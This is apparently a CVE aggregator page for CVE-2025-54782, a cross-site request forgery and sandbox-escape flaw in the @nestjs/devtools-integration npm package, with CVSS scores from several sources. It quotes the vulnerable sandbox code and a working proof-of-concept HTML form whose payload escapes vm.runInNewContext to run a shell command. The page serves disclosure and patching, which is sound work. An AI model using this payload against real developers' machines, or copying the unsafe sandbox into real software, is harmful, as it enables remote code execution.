CVE-2025-54782
@nestjs/devtools-integration's CSRF to Sandbox Escape Allows for RCE against JS Developers
Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox. This is fixed in version 0.2.1.
Attack profile
How easy it is to exploit
- Attack vector
- Adjacent network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.4
@nestjs/devtools-integration's CSRF to Sandbox Escape Allows for RCE against JS Developers
Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox. This is fixed in version 0.2.1.
- Record
CVE-2025-54782- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-77, CWE-78, CWE-352
- Updated
- 2026-11-02
EUVDEUVD-2025-23413
9.4
Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox. This is fixed in version 0.2.1.
- Record
EUVD-2025-23413- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-85cg-cmq5-qjm7
9.4
@nestjs/devtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers
Summary
A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.
A full blog post about how this vulnerability was uncovered can be found on Socket's blog.
Details
The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.
Key issues:
- Unsafe Sandbox: The sandbox implementation closely resembles the abandoned
safe-evallibrary. The Node.jsvmmodule is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution. - Lack of Proper CORS/Origin Checking: The server sets
Access-Control-Allow-Originto a fixed domain (https://devtools.nestjs.com) but does not validate the request'sOriginorContent-Type. Attackers can craft POST requests withtext/plaincontent type using HTML forms or simple XHR requests, bypassing CORS preflight checks.
By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.
Relevant code from the package:
// Vulnerable request handler
handleGraphInteraction(req, res) {
if (req.method === 'POST') {
let body = '';
req.on('data', data => { body += data; });
req.on('end', async () => {
res.writeHead(200, { 'Content-Type': 'application/plain' });
const json = JSON.parse(body);
await this.sandboxedCodeExecutor.execute(json.code, res);
});
}
}
// Vulnerable sandbox implementation
runInNewContext(code, context, opts) {
const sandbox = {};
const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
sandbox[resultKey] = {};
const ctx = `
(function() {
Function = undefined;
const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
keys.forEach((key) => {
const item = this[key];
if (!item || typeof item.constructor !== 'function') return;
this[key].constructor = undefined;
});
})();
`;
code = ctx + resultKey + '=' + code;
if (context) {
Object.keys(context).forEach(key => { sandbox[key] = context[key]; });
}
vm.runInNewContext(code, sandbox, opts);
return sandbox[resultKey];
}
Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.
PoC
Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:
npm install @nestjs/devtools-integration
npm run start:dev
Use the following HTML form on any malicious website:
<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
<input name="{"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()","bogus":"" value=""}" />
<input type="submit" value="Exploit" />
</form>
When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.
Alternatively, the same payload can be sent…
- Record
GHSA-85cg-cmq5-qjm7- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-77, CWE-78, CWE-352
- Updated
- 2026-11-02
NVD
9.4
Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox. This is fixed in version 0.2.1.
- Record
CVE-2025-54782- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-77, CWE-78, CWE-352
- Updated
- 2026-11-02
OSVGHSA-85cg-cmq5-qjm7
9.4
@nestjs/devtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers
Summary
A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.
A full blog post about how this vulnerability was uncovered can be found on Socket's blog.
Details
The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.
Key issues:
- Unsafe Sandbox: The sandbox implementation closely resembles the abandoned
safe-evallibrary. The Node.jsvmmodule is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution. - Lack of Proper CORS/Origin Checking: The server sets
Access-Control-Allow-Originto a fixed domain (https://devtools.nestjs.com) but does not validate the request'sOriginorContent-Type. Attackers can craft POST requests withtext/plaincontent type using HTML forms or simple XHR requests, bypassing CORS preflight checks.
By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.
Relevant code from the package:
// Vulnerable request handler
handleGraphInteraction(req, res) {
if (req.method === 'POST') {
let body = '';
req.on('data', data => { body += data; });
req.on('end', async () => {
res.writeHead(200, { 'Content-Type': 'application/plain' });
const json = JSON.parse(body);
await this.sandboxedCodeExecutor.execute(json.code, res);
});
}
}
// Vulnerable sandbox implementation
runInNewContext(code, context, opts) {
const sandbox = {};
const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
sandbox[resultKey] = {};
const ctx = `
(function() {
Function = undefined;
const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
keys.forEach((key) => {
const item = this[key];
if (!item || typeof item.constructor !== 'function') return;
this[key].constructor = undefined;
});
})();
`;
code = ctx + resultKey + '=' + code;
if (context) {
Object.keys(context).forEach(key => { sandbox[key] = context[key]; });
}
vm.runInNewContext(code, sandbox, opts);
return sandbox[resultKey];
}
Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.
PoC
Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:
npm install @nestjs/devtools-integration
npm run start:dev
Use the following HTML form on any malicious website:
<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
<input name="{"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()","bogus":"" value=""}" />
<input type="submit" value="Exploit" />
</form>
When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.
Alternatively, the same payload can be sent…
- Record
GHSA-85cg-cmq5-qjm7- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-352, CWE-77, CWE-78
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@nestjs/devtools-integrationnpm |
through 0.2.0 | 0.2.1 |
@nestjs/devtools-integrationnpm |
before 0.2.1 | 0.2.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | NestJS DevTools Integration - Remote Code Execution | |
| PoC in GitHub | DDestinys/CVE-2025-54782 | 2025-11-06 |
| PoC in GitHub | vxaretra/CVE-2025-54782 | 2025-10-22 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-54782 is a critical vulnerability (CVSS 9.4) in Nestjs Devtools-integration, published August 1, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 47.2%, the 98th percentile. Fixed in @nestjs/devtools-integration 0.2.1.
References
github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7
github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc
github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration
nodejs.org/api/vm.html
socket.dev/blog/nestjs-rce-vuln
jlleitschuh.org/nestjs-devtools-integration-rce-poc
nvd.nist.gov/vuln/detail/CVE-2025-54782
github.com/advisories/GHSA-85cg-cmq5-qjm7
github.com/nestjs/nest
Left out here: the rest of 2 source descriptions. The JSON record has them.